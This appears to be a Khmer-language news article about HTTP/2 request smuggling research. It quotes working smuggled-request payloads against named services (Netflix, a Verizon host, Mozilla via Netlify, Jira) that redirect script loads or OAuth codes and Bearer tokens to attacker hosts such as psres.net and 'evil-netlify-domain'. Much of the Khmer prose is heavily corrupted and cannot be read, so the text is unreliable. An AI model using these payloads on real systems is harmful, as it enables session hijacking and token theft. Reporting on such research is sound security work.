αααααααααααααΆαααααααααααΆααα»αααα½αααααΆααααααΆααααΆαααα HTTP/2 α αΎααααααΌαααΆαα αααααααΆααααααααΆαααα HTTP/1.1 ααααΌαααΆααααααΆαααα ααΉααααΆααααααααααΈααααΆαααΆααααα αΆα βHTTP Request Smugglingβ αααα’αα»ααααΆααααααΆαααααΎααααΎα’αα·αα·αααααααΆααα ααΆααΆαα·ααααα ααΆαα αααα αΌααα αααα»αααααΉαααΆαααααααΎααΈα’αααααααΎααααΆαααααααααααααααΆαααααΎαααΆααααα»αααα αΌαααΌα ααααΆαααΆααααααααΆααα»α αα·ααααααααΆααααααα ααΆαααΆααααα αΆαα’αΆα ααααΌαααΆαααααΎααΎααααΈαααα αΌαααΌα JavaScript ααααΆααΆααα αααα»αααααααΆαα½αααα αααααααααα αααΆαα ααααααααααααααΉααααααΉαααΆαα αΌαααααΎααααΆαα αα·αααααΆααα αΆαααααΆαααΆαααααααααααααααΆααα
αααα αΆαααααΆαααααααααΌααααΈααα ααααα αα»αααααΆααααα»α α§ααααααααααΎαααααΏαααα ααααα ααααααααα ααα αΆαααααΉαααΆα αα·αααΆαααααααα ααΆαααααααααααααααα αααααααΎααααΌαααΆαααααΌααα·ααααα»αααααααααΈαα»ααα ααΆααααααα α’ααααα·ααααααααΆααα·ααααΆααΆααααα αΆαααΈααααααΆαααααΆαααΆααααα αΆαααΎαααααααααααα Netflix, Verizon, Bitbucket, Netlify CDN αα·α Atlassian α αΎαααΆαααα½ααααααΆαα 56 ααΆαααα»ααααΆααααα»ααααααα·ααΈαααααΆαααααααΆαααααααα’ααααααααΆαααΆαααΆααααααααα αααα αΆαααααααααΌαααΆααααααΆαααα αααα»αααα·ααα F5 Networks αααααα αααα αΆααααααααΆααααααααααααα ααΎ mod_proxy αα αααα»ααααΆαααΈααα Apache http (CVE-2021-33193) ααΆααα½ααα»αααααΌαααΆαααααΉααα»ααα αααα»ααααα 2.4.49 (α’αααα’αα·ααααααααααΌαααΆαααΌαααααΉαα’αααΈαααα αΆαα ααΎαααα§αααΆ α αΎαααααΌαααΆααααααααα 3 ααααΎααααΈαα½ααα»αααΆ)α αα αααα»α nginx αααααααΆααααα»αααΆααααααΆααααααααΆ "ααααααααΆαα·ααΆ" αα·α "ααΆαα’αα·αααΌαααααα" αααα»ααααααααΆαααααΆααααΌαααΆαααΆααΆαααα αααα»αααΆαα ααααααΆαα α»αααααα (1.21.1) α α§αααααααΆααααα αΆαααααΌαααΆααα½ααααα αΌααα½α α αΎααα αααα»ααααα’ααα§ααααα Burp α αΎαααΆααα αααα»αααααααααααααααααααα Turbo Intruder α
αααααΆαααααααααα·ααααα·ααΆααααα·ααΈααΆαααααααααΈααααΆαααααΎαα»α wedging α αΌααα αααα»αα ααΆα αααααΊααααααααααΆαα ααΉαααΆαααΆαααααααααααααΆαααααααααα’αααααααΆαααααΆαααΌα ααααΆααΆαααΈ 1.1 ααααΆααα»α ααα»ααααααααΌαααΆααααααα αααααααααααΆααα»ααααααα½αααααααΎααΆαααα HTTP/XNUMX α α’αα»ααααΆαα±ααααΎαα αΆαααΆαα αααα»ααααααααΆααα frontend-backend ααααΎααααα’αα·αα·ααααααΌαααΆαααα½ααααααααΆαααααααα - frontend ααααααααΎαααΆααααααΆαα TCP αααααΆαα’αΆαα»ααΆαααΌαααΆαα½α backend αααααααΎαααΆααααααααΆααααΌαααααΎα ααΆααααααΆααααααΆααααΌαα ααα ααααΎααΈα’αααααααΎααααΆαααααααααααΆααΆααααααΆααααΌαααΆααααααΌα αααααΆααααααααααΆαααα½ααααααΆααααΈαα½ααααααααα αααααααααααααααΆααααα·ααΈααΆα HTTP α
ααΆαααΆααααα αΆα "HTTP Request Smuggling" αα»ααΆαααΊααα’ααααΎααΆααα·ααααααΆ Frontends αα·α Backends ααααααΆαααΆαααααΎααααΆααααααααΆ HTTP "Content-Length" (αααααααα αααα»ααααα·αααααααα αααα»αααααΎ) αα·α "Transfer-Encoding: chunked" (α’αα»ααααΆα αα·αααααααααααααΌααααααααΆααααα α ) αα»αααααΆ .. α§ααΆα ααα ααααα·αααΎ Frontend ααΆαααααα "Content-Length" ααα»αααααα·αα’αΎααΎ "Transfer-Encoding: chunked" αααα’αααααΆααααα αΆαα’αΆα ααααΎααααΎαααααΆαααΆαααααααααααΆα "Content-Length" αα·α "Transfer-Encoding: chunked" ααα»αααα ααα αααΊ "ααααααααΆαα·ααΆ" αα·αααααΌαααααΆααΉαααα ααααααααααααΆαααααααΆαααΆααα αααα»αααααΈααα αααααααΆααα»αααΉαααααΎαααΆα αα·ααααααΌαααααααααΎαααα’αα»αααααΆα "ααααααααααΉαααΆα" α αΎααααααααΆααααααααΉααααα αΆαααΆααααα αααααα»ααααααα’ααααΎ "ααΆααααααααααΆαα’αα·αααΌαα ααααΆαα" αα·ααααααααααα αααααααααΎααααα’αααααΆααααα αΆα ααΉααα ααΎαααααΌαααααααΎααααααααΆααααΆαααααααΆααααααΌααααααΆααα
αα·αααΌα αα·ααΈααΆαα’ααααα HTTP/1.1 αααααααΌαααΆαααααα ααααα·ααααααΆαα HTTP/2 ααΊααΆαα·ααΈααΆααααααααααααααΈα αα·ααααα ααααα»ααα·ααααααααααα ααααααΆααααααααΆαα»αα ααααααΆαααΆααααα HTTP/2 ααααΎ pseudo-headers αααααααΌαααΉαααααααΆ HTTP ααααααΆα αααα»αααααΈααΆαα’ααααααααααΆαα½ααααααααΆααααααααΆαααααα·ααΈααΆα HTTP/1.1 αααααααΆααα»αααααααααααααΆ pseudo ααΆααααααα ααΆααααααΆ HTTP ααααααααααΆ HTTP/1.1 α αααα αΆααΊααΆ backend ααααΎααΆααααααα α α·αααα’αααΈααΆααααααααααΈααααααα’ααααΎααααααΆ HTTP ααααααααααα frontend ααααα·αααΆαααααααΆαα’αααΈαααΆαααΆααααααααααααΎααΎαα
ααΆαα·ααα ααααα "ααααααααΆαα·ααΆ" αα·α "ααΆααααααααααΆαα’αα·αααΌα" α’αΆα ααααΌαααΆααααααΌααααα»ααααααααα pseudo-headers αααααΈααΆααΆαα·αααααΌαααΆαααααΎαα αααα»α HTTP/2 ααααα α αΆααααΆααααΈααα ααα·ααααααααΆααα’ααααααΌαααΆααααααα αα αααα»αααΆαααΆα ααααα‘αααα½αα ααααααΆαααΆααααα αααα»αα’αα‘α»ααααααααΎαααΆααααααααααααΎ HTTP/2 αα ααΆ HTTP/1.1 ααααααΆααΆαααααααααΌαααΆαα’αα»αααα α αΎαα’αΆα α ααα‘ααααααααΆααααααα ααΆααααΆααααααααααΆαααΆααααα αΆαααααΆααααΈαα H2.TE αα·α H2.CL ααααααα»αααααααααααΆααααααααααΌαααΆαααααΆαααααααΆααααααααΆαα’αα·αααΌααα·αααααΉαααααΌα α¬αααααααααααααααΉαααΆα ααααα·αααΆαααααα ααΉαααα ααα·αααααΆαααααααααααααΎαααααΆαααα½αααααααααααΆααα»αααΆαααα αα·ααΈααΆα HTTP/2 α
α§ααΆα αααααααΆαααΆααααα αΆα H2.CL ααΊααΎααααΈαααααΆααααα ααα·αααααΉαααααΌααα αααα»α pseudo-header ααααααααΆαα·ααΆ αα αααααααΎααααΎ HTTP/2 αα Netflix α ααααΎαααααΆααα αααααΆαααααααααααα Content-Length ααααααΆ HTTP ααααααααααΆ αα αααα αΌαααααΎ backend ααΆαααα HTTP/1.1 ααα»αααααααααΆαααα ααααα»α Content-Length ααααΌαααΆααααααΆαααα·α ααΆαααα ααα·αααααΆααααα ααααααααα·αααααααα αααα»αααααα»αααααΌαααΆαααααΎαααΆαααΆ ααΆαα αΆααααααΎαααααααΎαααααΆααα
α§ααΆα ααα ααααΎαα»α HTTP/2 : αα·ααΈααΆααααα POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
ααΉαααΆαα±ααααααΎααααΌαααΆαααααΎαα ααΆαααααααααΆααααααα POST /n HTTP/1.1 αααΆαααΈαα www.netflix.com ααααααααααΉαααΆαα 4 abcdGET /n HTTP/1.1 αααΆαααΈαα 02.rs?x.netflix.com Foo: bar
αααααΆα Content-Length ααΆαααααα 4 ααα backend ααΉαααα½ααααα "abcd" ααΆαα½ααααααΎ α αΎααα ααααα "GET /n HTTP/1.1..." ααΉαααααΌαααΆαααααΎαααΆαααΆααΆαα αΆααααααΎαααααααΎααΆαααααααααΆααα ααΆαααααααααΆαα½αα’αααααααΎααααΆααααααααααα ααΌα ααααα αΎα ααααααΈαααΉαααααΆααα ααΆαα·αααααΆααααα α αΎαααΎααααΈααααΎααααα ααΉαααααΎαααααΆαα ααααααααααΆαααααΎαααΆαααααΎα’ααα αααααααΉαααααΌαααΆαα ααα αααα»αααααΈαααα»αα αα»α Netflix Inc ααΆααααααΆααααα αΆααααααααΆααΈααΈααΈαα αααα»α "αααΆαααΈα" ααααααΆαα αααα»αααααΎα’ααα αααααααΆαααααΎα±ααα’αα·αα·αααααα‘ααααΆαααααΎααα "ααΈααΆαα: https://02.rs?x.netflix.com/n" αα·α α’αα»ααααΆαα±ααααΆαα·ααΆααααΆαααααΌαααΆαααααΎαα α’αα·αα·αα αα½αααΆααααααΎαααΆαααΌα JavaScript ααααα’ααααα αααα»αααα·ααααααα ααααα Netflix α
αααααΎαααΆααααα αΆαααΈααΈα (H2.TE) ααΆαααααααααΉαααΆααααα½αααααααΆ "ααΆαα’αα·αααΌααααααααααΆααα ααααΆαα" α ααΆαααααΎααααΆααααααααΆ pseudo-αααααααΆαα’αα·αααΌααα αααα»α HTTP/2 ααααΌαααΆαα αΆαααΆαααααααΆααααααΆαα α αΎαααααΎααΆαα½αααΆααααΌαααΆαα ααααααααααααΆα±ααα αΆαααα»αααΆαα·αααααΉαααααΌαα αααααΈααΆααααααααααα ααΆαα’αα»αααααααααααΆααα»ααα½αα ααα½ααα·ααα·αααΈαααααΌαααΆαααα α αΎαα’αα»ααααΆαα±ααααααΎααααααΆ pseudo-αααααααΆαα’αα·αααΌααα αααα»α HTTP/2 αααααααΌαααΆαααααααααα ααΆααααααΆ HTTP ααααααααααΆα ααααα·αααΎααΆαααααααΆ "ααΆαααααααα-ααΆαα’αα·αααΌα" αααααα·ααΈααΆααααααα’αΆα ααααΆααΆα’αΆαα·ααΆααααααααΆαααα α αΎααααααααααα·αααααααααααααααα αααα»ααααα "ααααΆαα" αααααααΎαααα»ααααααΆαααα ααα»ααααααΆαααα»ααααααα β{size}\r\n{block }\r\n{size} \r\n{block}\r\n0", αααααΈααΆααΆαααΆααααα ααααααΌαααΆαααα αααΆααααΌααααααα
ααααααΆααααααααΆαααααααααααΌαααΆααααα αΆααααα§ααΆα ααααααααα»αα αα»α Verizon α αααα αΆααΆααααααΉααα·ααααααααααααααΆααααΆαααααΉαααααΌα αα·ααααααααααααααααααααααΉαααΆα αααααααΌαααΆαααααΎαα ααΎααα αααααααΌα ααΆ Huffington Post αα·α Engadget αααααα α§ααΆα ααα ααααΎααααα’αα·αα·ααααΆαααα HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com ααΆαααααα-α’αα·αααΌαααΆααααααααΆααααΆαα 0 GET /oops HTTP/1.1 αααΆαααΈαα psres.net ααααααααααΉαααΆαα 10 x=
ααΆααααααααααα»αααΆαααααΎααααΎ HTTP/1.1 αα αααααααΆααααααα POST /identity/XUI HTTP/1.1 αααΆαααΈαα id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres. ααΆαα·ααΆαα»ααα-ααααααα α‘α x=
αααα»ααα αα·α αααααααΆααααααααΆααα·αα’αΎααΎααΉαααααααΆ "ααααααααααΉαααΆα" α αΎαααΆαααααΎααΆαααααααα αααα»αααααααΈααααααα’ααααΎ "ααΆααααααααααΆαα’αα·αααΌαα ααααΆαα"α αα αααα»αααΆαα’αα»αααα ααΆαααΆααααα αΆαααΆαααααΎα±ααααΆα’αΆα αααααΌαααααΎααααα’αααααααΎααααΆαααα ααΆααααα ααααααααααα½ααα αα½αααΆααααΆαααααΆααα αΆααααααΎαααααΆααααααΉαααΆααααααααααΆαα OAuth αααΆαααΆαααααααααααααΌαααΆααααα αΆααα αααα»αααααααΆ Referer ααααΌα ααΆααΆααααααααααΎαααααααααααααΆαα αα·αααααΎα±ααααααααααααααα’αααααααΎααααΆααααααΎαα·αα·ααααααΆααα αα ααα αΆααααααααααα’αααααΆααααα αΆαα GET /b2blanding/show/oops HTTP/1.1 αααΆαααΈαα psres.net αααα https://id.b2b.oath.com/?β¦&code=secret GET / HTTP/1.1 αααΆαααΈαα psres.net ααΆαα’αα»ααααΆαα Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6I
ααΎααααΈααΆααααα αΆαααΆαα’αα»αααα HTTP/2 ααααα·αα’αα»ααααΆαα±ααααΆαααΆααααααΆααααααααΆ pseudo-ααΆααααααααΆαα’αα·αααΌα αα·ααΈααΆααααααα½αααααααααααααΌαααΆαααααΎα‘αΎααααααΆαααααααααΉαααΆααααα½αααααααΆ "αααααααΆαα’αα·αααΌα" αααααααΆααααΆαα ααααααΆ pseudo-ααααααααααααααααααααα½α’αααααααααΆααααααΈ ( αα αααααααααααα ααΆ HTTP/1.1 αααα»αααααΈααα αααααΎαααααααΆ HTTP ααΈαααΆα ααααα‘αα)α
α§ααΆα ααα Atlassian Jira αα·α Netlify CDN (ααααΎααΎααααΈαααααΎαααααα αΆααααααΎα Mozilla αα αααα»α Firefox) ααααΌαααΆααααααααααΆααααααααα αΆαααα ααΆαα·ααα ααααΎ HTTP/2 α αα·ααΈααΆααααα POST : path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n ααααααααααΉαααΆαα 5\r\n \r\nx=
ααΆαααααα HTTP/1.1 POST / HTTP/1.1 ααααΎααααΌαααΆαααααΎαα ααΆαα backend\r\n αααΆαααΈαα start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length α 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n αααΆαααΈαα evil-netlify-domain\r\n ααααααααααΉαααΆαα 5\r\n \r \nx=
αααααΎααα½ααααααααααααααΆααααΆααααα½αααααααΆ "αααααααΆαα’αα·αααΌα" ααΊααααΌαααααΆααααΆαα ααΉααααααααααααααΆ pseudo-header αααααααα α¬αα αααααΆαααααααΆααα·ααΈααΆαααααααααΎαα»αα α§ααΆα ααα αα αααα αΌαααααΎ Atlassian Jira ααααα pseudo-header "foo: bar\r\ntransfer-encoding" ααΆαα½αααΉαααααα "chunked" αααααΆαα±αα headers HTTP "foo: bar" αα·α "transfer-encoding: chunked" ααααΌαααΆααααααα αα·αααΆααααααΆααααααα pseudo-header ":method" "GET / HTTP/1.1\r\nTransfer-encoding: chunked" ααααΌαααΆααααααααα ααΆ "GET / HTTP/1.1\r\ntransfer-encoding: chunked" α
α’αααααααΆαααααΆααααααΆαααααααααα αΆααααΆαααααΎααα»ααα
αα
αααααααααΌαααΌααααααααΈααΎααααΈααΆααααα αΆααααααααΆααα»α αααα’αΆααααααΆα IP ααΈαα½αααααααΎαααΆααααααΆααααΆα
ααααα‘αααα
ααΆαααααααααΆαααααα α αΎαα
ααΆα
αααΈα’αααααααΎααααΆαααααααααααΆαα·αααααΌαααΆαααΆααααα
αΌαααααΆααα αα
αα
ααααααααααΆαααααΎα‘αΎααα·αα’αα»ααααΆαα±ααααΆαααΆαααααααααααααΆαα½αααααΎααΈα’αααααααΎααααΆαααααααααααα ααα»ααααααααΎα±ααααΆα’αΆα
αααα»αααααΆαααααααΆαααααααΆαα
αααααααααααααααΆαααααααααΎαααΆαααααααΎαααααααα αα·αα’αα»ααααΆαα±αααααα½αααααααΆ HTTP ααΆααααα»ααααααααΎααΎααααΈαααααααααααΆαααααΆααααααΈαααααααΆααα»ααα
αααααααΆαααααα ( α§ααΆα ααα αα
ααααααααααααΆαααα
αααααααΆααα»ααααα»αααααααΆααααααα’αΆα
αααααΌαααααααΆαα’αααΈα’αααααααΎααααΆαααα
αα
α»αααααααα
αααααααΆαααααα)α ααΆα§ααΆα αααααααΆαα’αα»αααααα·ααΈααΆααααααααα»αααΆαα’αα»αααα αααααααΎααΆααα»αααααΆαααααααΆαα ααΆα’αΆα
αα
αα½α
ααΎααααΈααα½αααΆαααΆααααααααααααΎααααααα
αααα»αααααΆαααα Bitbucket α
ααααα: opennet.ru